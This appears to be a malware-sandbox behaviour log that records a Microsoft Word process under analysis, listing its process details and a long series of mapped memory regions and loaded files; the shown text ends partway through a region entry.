# Flog Txt Version 1
# Analyzer Version: 2.4.0
# Analyzer Build Date: Jul 24 2018 18:08:56
# Log Creation Date: 05.09.2018 20:13:54.691

Process:
	id = "1"
	image_name = "winword.exe"
	filename = "c:\\program files\\microsoft office\\root\\office16\\winword.exe"
	page_root = "0x3af6f000"
	os_pid = "0x9c0"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n"
	cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ee00" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 133
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 134
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 135
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 136
	        start_va = 0x40000
	          end_va = 0x43fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 137
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 138
	        start_va = 0xc0000
	          end_va = 0xc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000c0000"
	        filename = ""

Region:
	              id = 139
	        start_va = 0xd0000
	          end_va = 0xdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 140
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 141
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000f0000"
	        filename = ""

Region:
	              id = 142
	        start_va = 0x100000
	          end_va = 0x106fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000100000"
	        filename = ""

Region:
	              id = 143
	        start_va = 0x110000
	          end_va = 0x111fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000110000"
	        filename = ""

Region:
	              id = 144
	        start_va = 0x120000
	          end_va = 0x120fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000120000"
	        filename = ""

Region:
	              id = 145
	        start_va = 0x130000
	          end_va = 0x130fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000130000"
	        filename = ""

Region:
	              id = 146
	        start_va = 0x140000
	          end_va = 0x141fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 147
	        start_va = 0x150000
	          end_va = 0x151fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000150000"
	        filename = ""

Region:
	              id = 148
	        start_va = 0x160000
	          end_va = 0x162fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000160000"
	        filename = ""

Region:
	              id = 149
	        start_va = 0x170000
	          end_va = 0x171fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000170000"
	        filename = ""

Region:
	              id = 150
	        start_va = 0x180000
	          end_va = 0x18ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000180000"
	        filename = ""

Region:
	              id = 151
	        start_va = 0x190000
	          end_va = 0x28ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000190000"
	        filename = ""

Region:
	              id = 152
	        start_va = 0x290000
	          end_va = 0x38ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000290000"
	        filename = ""

Region:
	              id = 153
	        start_va = 0x390000
	          end_va = 0x392fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000390000"
	        filename = ""

Region:
	              id = 154
	        start_va = 0x3a0000
	          end_va = 0x3a2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000003a0000"
	        filename = ""

Region:
	              id = 155
	        start_va = 0x3b0000
	          end_va = 0x4affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003b0000"
	        filename = ""

Region:
	              id = 156
	        start_va = 0x4b0000
	          end_va = 0x637fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000004b0000"
	        filename = ""

Region:
	              id = 157
	        start_va = 0x640000
	          end_va = 0x7c0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000640000"
	        filename = ""

Region:
	              id = 158
	        start_va = 0x7d0000
	          end_va = 0x1bcffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007d0000"
	        filename = ""

Region:
	              id = 159
	        start_va = 0x1bd0000
	          end_va = 0x1e9efff
	     entry_point = 0x1bd0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 160
	        start_va = 0x1ea0000
	          end_va = 0x2292fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001ea0000"
	        filename = ""

Region:
	              id = 161
	        start_va = 0x22a0000
	          end_va = 0x239ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000022a0000"
	        filename = ""

Region:
	              id = 162
	        start_va = 0x23a0000
	          end_va = 0x23a2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000023a0000"
	        filename = ""

Region:
	              id = 163
	        start_va = 0x23b0000
	          end_va = 0x23b2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000023b0000"
	        filename = ""

Region:
	              id = 164
	        start_va = 0x23c0000
	          end_va = 0x23c2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000023c0000"
	        filename = ""

Region:
	              id = 165
	        start_va = 0x23d0000
	          end_va = 0x23dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000023d0000"
	        filename = ""

Region:
	              id = 166
	        start_va = 0x23e0000
	          end_va = 0x25dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000023e0000"
	        filename = ""

Region:
	              id = 167
	        start_va = 0x25e0000
	          end_va = 0x261ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000025e0000"
	        filename = ""

Region:
	              id = 168
	        start_va = 0x2670000
	          end_va = 0x2670fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002670000"
	        filename = ""

Region:
	              id = 169
	        start_va = 0x2680000
	          end_va = 0x2680fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002680000"
	        filename = ""

Region:
	              id = 170
	        start_va = 0x2690000
	          end_va = 0x270ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002690000"
	        filename = ""

Region:
	              id = 171
	        start_va = 0x2710000
	          end_va = 0x27eefff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002710000"
	        filename = ""

Region:
	              id = 172
	        start_va = 0x27f0000
	          end_va = 0x28affff
	     entry_point = 0x27f0000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 173
	        start_va = 0x28e0000
	          end_va = 0x28e4fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000028e0000"
	        filename = ""

Region:
	              id = 174
	        start_va = 0x28f0000
	          end_va = 0x28f0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000028f0000"
	        filename = ""

Region:
	              id = 175
	        start_va = 0x2900000
	          end_va = 0x2901fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002900000"
	        filename = ""

Region:
	              id = 176
	        start_va = 0x2910000
	          end_va = 0x291bfff
	     entry_point = 0x2910000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat")

Region:
	              id = 177
	        start_va = 0x2920000
	          end_va = 0x2927fff
	     entry_point = 0x2920000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat")

Region:
	              id = 178
	        start_va = 0x2930000
	          end_va = 0x2a2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002930000"
	        filename = ""

Region:
	              id = 179
	        start_va = 0x2aa0000
	          end_va = 0x2b1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002aa0000"
	        filename = ""

Region:
	              id = 180
	        start_va = 0x2b20000
	          end_va = 0x2b2ffff
	     entry_point = 0x2b20000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat")

Region:
	              id = 181
	        start_va = 0x2b30000
	          end_va = 0x2b30fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002b30000"
	        filename = ""

Region:
	              id = 182
	        start_va = 0x2b40000
	          end_va = 0x2b40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002b40000"
	        filename = ""

Region:
	              id = 183
	        start_va = 0x2b50000
	          end_va = 0x2b5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002b50000"
	        filename = ""

Region:
	              id = 184
	        start_va = 0x2b60000
	          end_va = 0x2b60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002b60000"
	        filename = ""

Region:
	              id = 185
	        start_va = 0x2b70000
	          end_va = 0x2b70fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002b70000"
	        filename = ""

Region:
	              id = 186
	        start_va = 0x2b80000
	          end_va = 0x2c7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002b80000"
	        filename = ""

Region:
	              id = 187
	        start_va = 0x2c80000
	          end_va = 0x2c80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c80000"
	        filename = ""

Region:
	              id = 188
	        start_va = 0x2c90000
	          end_va = 0x2c91fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002c90000"
	        filename = ""

Region:
	              id = 189
	        start_va = 0x2ca0000
	          end_va = 0x2ca0fff
	     entry_point = 0x2ca0000
	     region_type = mapped_file
	            name = "msxml6r.dll"
	        filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll")

Region:
	              id = 190
	        start_va = 0x2cb0000
	          end_va = 0x2cb0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002cb0000"
	        filename = ""

Region:
	              id = 191
	        start_va = 0x2cc0000
	          end_va = 0x2ccffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002cc0000"
	        filename = ""

Region:
	              id = 192
	        start_va = 0x2cd0000
	          end_va = 0x2ceffff
	     entry_point = 0x2cd0000
	     region_type = mapped_file
	            name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db")

Region:
	              id = 193
	        start_va = 0x2cf0000
	          end_va = 0x2cf1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002cf0000"
	        filename = ""

Region:
	              id = 194
	        start_va = 0x2d00000
	          end_va = 0x2d00fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002d00000"
	        filename = ""

Region:
	              id = 195
	        start_va = 0x2e20000
	          end_va = 0x2e21fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002e20000"
	        filename = ""

Region:
	              id = 196
	        start_va = 0x2e30000
	          end_va = 0x2e30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002e30000"
	        filename = ""

Region:
	              id = 197
	        start_va = 0x2e40000
	          end_va = 0x2f3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002e40000"
	        filename = ""

Region:
	              id = 198
	        start_va = 0x2f40000
	          end_va = 0x303ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002f40000"
	        filename = ""

Region:
	              id = 199
	        start_va = 0x3040000
	          end_va = 0x313ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003040000"
	        filename = ""

Region:
	              id = 200
	        start_va = 0x3140000
	          end_va = 0x353ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000003140000"
	        filename = ""

Region:
	              id = 201
	        start_va = 0x3540000
	          end_va = 0x3550fff
	     entry_point = 0x3540000
	     region_type = mapped_file
	            name = "c_1255.nls"
	        filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls")

Region:
	              id = 202
	        start_va = 0x3580000
	          end_va = 0x367ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003580000"
	        filename = ""

Region:
	              id = 203
	        start_va = 0x3680000
	          end_va = 0x377ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003680000"
	        filename = ""

Region:
	              id = 204
	        start_va = 0x3780000
	          end_va = 0x37fefff
	     entry_point = 0x3780000
	     region_type = mapped_file
	            name = "segoeui.ttf"
	        filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf")

Region:
	              id = 205
	        start_va = 0x3820000
	          end_va = 0x382ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003820000"
	        filename = ""

Region:
	              id = 206
	        start_va = 0x3830000
	          end_va = 0x392ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003830000"
	        filename = ""

Region:
	              id = 207
	        start_va = 0x39a0000
	          end_va = 0x39affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000039a0000"
	        filename = ""

Region:
	              id = 208
	        start_va = 0x39b0000
	          end_va = 0x3a5afff
	     entry_point = 0x39b0000
	     region_type = mapped_file
	            name = "tahoma.ttf"
	        filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf")

Region:
	              id = 209
	        start_va = 0x3a80000
	          end_va = 0x3afffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003a80000"
	        filename = ""

Region:
	              id = 210
	        start_va = 0x3b00000
	          end_va = 0x3efffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003b00000"
	        filename = ""

Region:
	              id = 211
	        start_va = 0x3fa0000
	          end_va = 0x409ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003fa0000"
	        filename = ""

Region:
	              id = 212
	        start_va = 0x40e0000
	          end_va = 0x41dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000040e0000"
	        filename = ""

Region:
	              id = 213
	        start_va = 0x41e0000
	          end_va = 0x42dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000041e0000"
	        filename = ""

Region:
	              id = 214
	        start_va = 0x4320000
	          end_va = 0x441ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004320000"
	        filename = ""

Region:
	              id = 215
	        start_va = 0x4420000
	          end_va = 0x4c1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004420000"
	        filename = ""

Region:
	              id = 216
	        start_va = 0x4c20000
	          end_va = 0x4f62fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004c20000"
	        filename = ""

Region:
	              id = 217
	        start_va = 0x4f70000
	          end_va = 0x589ffff
	     entry_point = 0x4f70000
	     region_type = mapped_file
	            name = "staticcache.dat"
	        filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat")

Region:
	              id = 218
	        start_va = 0x58a0000
	          end_va = 0x599ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000058a0000"
	        filename = ""

Region:
	              id = 219
	        start_va = 0x5a10000
	          end_va = 0x5a8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005a10000"
	        filename = ""

Region:
	              id = 220
	        start_va = 0x5b60000
	          end_va = 0x5b6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005b60000"
	        filename = ""

Region:
	              id = 221
	        start_va = 0x5c10000
	          end_va = 0x5d0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005c10000"
	        filename = ""

Region:
	              id = 222
	        start_va = 0x5e90000
	          end_va = 0x5f8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005e90000"
	        filename = ""

Region:
	              id = 223
	        start_va = 0x6060000
	          end_va = 0x60dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006060000"
	        filename = ""

Region:
	              id = 224
	        start_va = 0x6170000
	          end_va = 0x626ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006170000"
	        filename = ""

Region:
	              id = 225
	        start_va = 0x6330000
	          end_va = 0x642ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006330000"
	        filename = ""

Region:
	              id = 226
	        start_va = 0x6430000
	          end_va = 0x652ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006430000"
	        filename = ""

Region:
	              id = 227
	        start_va = 0x6530000
	          end_va = 0x662ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006530000"
	        filename = ""

Region:
	              id = 228
	        start_va = 0x6690000
	          end_va = 0x678ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006690000"
	        filename = ""

Region:
	              id = 229
	        start_va = 0x67d0000
	          end_va = 0x68cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000067d0000"
	        filename = ""

Region:
	              id = 230
	        start_va = 0x68d0000
	          end_va = 0x70cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000068d0000"
	        filename = ""

Region:
	              id = 231
	        start_va = 0x7170000
	          end_va = 0x726ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007170000"
	        filename = ""

Region:
	              id = 232
	        start_va = 0x7290000
	          end_va = 0x738ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007290000"
	        filename = ""

Region:
	              id = 233
	        start_va = 0x7390000
	          end_va = 0x838ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000007390000"
	        filename = ""

Region:
	              id = 234
	        start_va = 0x8430000
	          end_va = 0x84affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000008430000"
	        filename = ""

Region:
	              id = 235
	        start_va = 0x85f0000
	          end_va = 0x866ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000085f0000"
	        filename = ""

Region:
	              id = 236
	        start_va = 0x87f0000
	          end_va = 0x886ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000087f0000"
	        filename = ""

Region:
	              id = 237
	        start_va = 0x8870000
	          end_va = 0x8c6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000008870000"
	        filename = ""

Region:
	              id = 238
	        start_va = 0x8c70000
	          end_va = 0x9070fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000008c70000"
	        filename = ""

Region:
	              id = 239
	        start_va = 0x9080000
	          end_va = 0x9480fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000009080000"
	        filename = ""

Region:
	              id = 240
	        start_va = 0x9490000
	          end_va = 0x9890fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000009490000"
	        filename = ""

Region:
	              id = 241
	        start_va = 0x98a0000
	          end_va = 0x9a9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000098a0000"
	        filename = ""

Region:
	              id = 242
	        start_va = 0x9aa0000
	          end_va = 0xaaa0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000009aa0000"
	        filename = ""

Region:
	              id = 243
	        start_va = 0xaab0000
	          end_va = 0xaeaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000aab0000"
	        filename = ""

Region:
	              id = 244
	        start_va = 0x37240000
	          end_va = 0x3724ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000037240000"
	        filename = ""

Region:
	              id = 245
	        start_va = 0x37490000
	          end_va = 0x3749ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000037490000"
	        filename = ""

Region:
	              id = 246
	        start_va = 0x749d0000
	          end_va = 0x74a02fff
	     entry_point = 0x749d0000
	     region_type = mapped_file
	            name = "osppc.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll")

Region:
	              id = 247
	        start_va = 0x77230000
	          end_va = 0x77329fff
	     entry_point = 0x77230000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 248
	        start_va = 0x77330000
	          end_va = 0x7744efff
	     entry_point = 0x77330000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 249
	        start_va = 0x77450000
	          end_va = 0x775f8fff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 250
	        start_va = 0x77610000
	          end_va = 0x77612fff
	     entry_point = 0x77610000
	     region_type = mapped_file
	            name = "normaliz.dll"
	        filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll")

Region:
	              id = 251
	        start_va = 0x77620000
	          end_va = 0x77626fff
	     entry_point = 0x77620000
	     region_type = mapped_file
	            name = "psapi.dll"
	        filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")

Region:
	              id = 252
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 253
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 254
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 255
	        start_va = 0x13f160000
	          end_va = 0x13f33bfff
	     entry_point = 0x13f160000
	     region_type = mapped_file
	            name = "winword.exe"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe")

Region:
	              id = 256
	        start_va = 0x7febd6b0000
	          end_va = 0x7febd6bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007febd6b0000"
	        filename = ""

Region:
	              id = 257
	        start_va = 0x7febdad0000
	          end_va = 0x7febdadffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007febdad0000"
	        filename = ""

Region:
	              id = 258
	        start_va = 0x7fee3bd0000
	          end_va = 0x7fee3e24fff
	     entry_point = 0x7fee3bd0000
	     region_type = mapped_file
	            name = "ivy.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\IVY.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ivy.dll")

Region:
	              id = 259
	        start_va = 0x7fee3e30000
	          end_va = 0x7fee4c05fff
	     entry_point = 0x7fee3e30000
	     region_type = mapped_file
	            name = "chart.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\CHART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\chart.dll")

Region:
	              id = 260
	        start_va = 0x7fee4c10000
	          end_va = 0x7fee4d83fff
	     entry_point = 0x7fee4c10000
	     region_type = mapped_file
	            name = "msptls.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSPTLS.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msptls.dll")

Region:
	              id = 261
	        start_va = 0x7fee4d90000
	          end_va = 0x7fee4ea9fff
	     entry_point = 0x7fee4d90000
	     region_type = mapped_file
	            name = "adal.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\ADAL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\adal.dll")

Region:
	              id = 262
	        start_va = 0x7fee4eb0000
	          end_va = 0x7fee514afff
	     entry_point = 0x7fee4eb0000
	     region_type = mapped_file
	            name = "riched20.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\RICHED20.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\riched20.dll")

Region:
	              id = 263
	        start_va = 0x7fee52f0000
	          end_va = 0x7fee5388fff
	     entry_point = 0x7fee52f0000
	     region_type = mapped_file
	            name = "mscoreei.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll")

Region:
	              id = 264
	        start_va = 0x7fee5390000
	          end_va = 0x7fee555ffff
	     entry_point = 0x7fee5390000
	     region_type = mapped_file
	            name = "d3d10warp.dll"
	        filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll")

Region:
	              id = 265
	        start_va = 0x7fee5560000
	          end_va = 0x7fee56fcfff
	     entry_point = 0x7fee5560000
	     region_type = mapped_file
	            name = "msointl.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\msointl.dll")

Region:
	              id = 266
	        start_va = 0x7fee5700000
	          end_va = 0x7fee9ae6fff
	     entry_point = 0x7fee5700000
	     region_type = mapped_file
	            name = "msores.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSORES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msores.dll")

Region:
	              id = 267
	        start_va = 0x7fee9af0000
	          end_va = 0x7feea7e4fff
	     entry_point = 0x7fee9af0000
	     region_type = mapped_file
	            name = "mso99lres.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso99lres.dll")

Region:
	              id = 268
	        start_va = 0x7feea7f0000
	          end_va = 0x7feeac2cfff
	     entry_point = 0x7feea7f0000
	     region_type = mapped_file
	            name = "mso40uires.dll"
